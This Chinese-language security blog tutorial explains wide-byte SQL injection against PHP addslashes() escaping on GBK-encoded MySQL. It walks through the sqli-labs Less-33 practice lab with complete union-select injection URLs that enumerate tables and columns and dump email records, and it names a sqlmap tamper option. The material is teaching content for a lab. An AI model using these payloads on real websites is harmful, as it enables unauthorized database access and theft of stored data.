点我
SQL注入【宽字节注入】
SQL注入【宽字节注入】
原理
- 编码:将信息(如数字、文字、图像等)转换成特定格式或符号系统的过程,目的是便于存储、处理、传输或加密信息。
解码:解码是编码的逆过程,即将编码后的信息还原成原始形式。
例如:‘ --> %27
常见编码:
- ASCII编码:美国信息交换标准代码,使用1个字节(8位)表示一个字符,共能表示256个字符。适用于表示英文字符和一些基本符号
- Unicode编码:为了解决ASCII编码无法表示世界上各种语言字符的问题,Unicode编码可以表示超过100,000个字符,覆盖了世界上大部分语言。常见的有UTF-8、UTF-16、UTF-32等编码形式。
- GBK编码:汉字编码扩展规范,用于表示简体中文字符,兼容ASCII编码,能表示21000多个汉字。
占用字节:
- ASCII编码:每个字符占用1个字节,可以表示128个不同的字符。
- UTF-8编码:字符可以占用1到4个字节,用于表示Unicode字符集中的字符,支持多种语言的文本表示。
GBK编码:对于ASCII字符集之外的字符,如汉字、特殊符号等,GBK编码使用2个字节来表示。
GBK编码通过使用1个或2个字节的灵活编码方式,能够兼容ASCII字符集并扩展支持更多的字符,特别是汉字字符集。
示例:
- ASCII字符:字符'A'在GBK编码中占用1个字节
- 汉字“汉”在GBK编码中占用2个字节
addslashes()函数
addslashes ( string `$str` ) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。
只要注入' " \ 空字符 都会转义为 \' \" \\ \
魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】
利用场景
如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入
%DF':
- 会被PHP当中的addslashes函数转义为:%DF\'
- \ 会被URL编码为 %5C
- 那么 %DF' 会被转义为 %DF%5C%27
- %DF%5C%27是一个宽字节 也就是一个縗'
从而可以进行构造闭合,进行注入
小技巧:有的时候我们也可以用16进制来代替字符串
URL编码
- %27---------单引号
- %20----------空格
- %23-----------#号
- %5c------------\反斜杠
靶场Less-33
1、访问网站
2、当在id后面加上反斜杠时
反斜杠被进行了转义
3、输入单引号时
同样被进行了转义
4、输入%DF'时
网页进行了报错
5、加上注释符之后成功闭合
6、探测字段数
http://192.168.168.129/sqli/Less-33/?id=2%df' order by 4-- qwe
http://192.168.168.129/sqli/Less-33/?id=2%df' order by 3-- qwe
7、探测显示位
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,2,3-- qwe
8、当前数据库和版本号
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),version()-- qwe
9、爆表
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
10、爆字段数
爆emails表的字段,由于单引号不能用,这里可以使用子查询或者将emails转为16进制的方法。
emails对应的16进制为0x656d61696c73
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 -- qwe
11、出数据
http://192.168.168.129/sqli/Less-33/?id=-2%df' union select 1,group_concat(id),group_concat(email_id) from emails -- qwe
SQLMap跑宽字节注入
在已知存在宽字节注入的情况下,可使用sqlmap的参数:
--tamper unmagicquotes.py
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论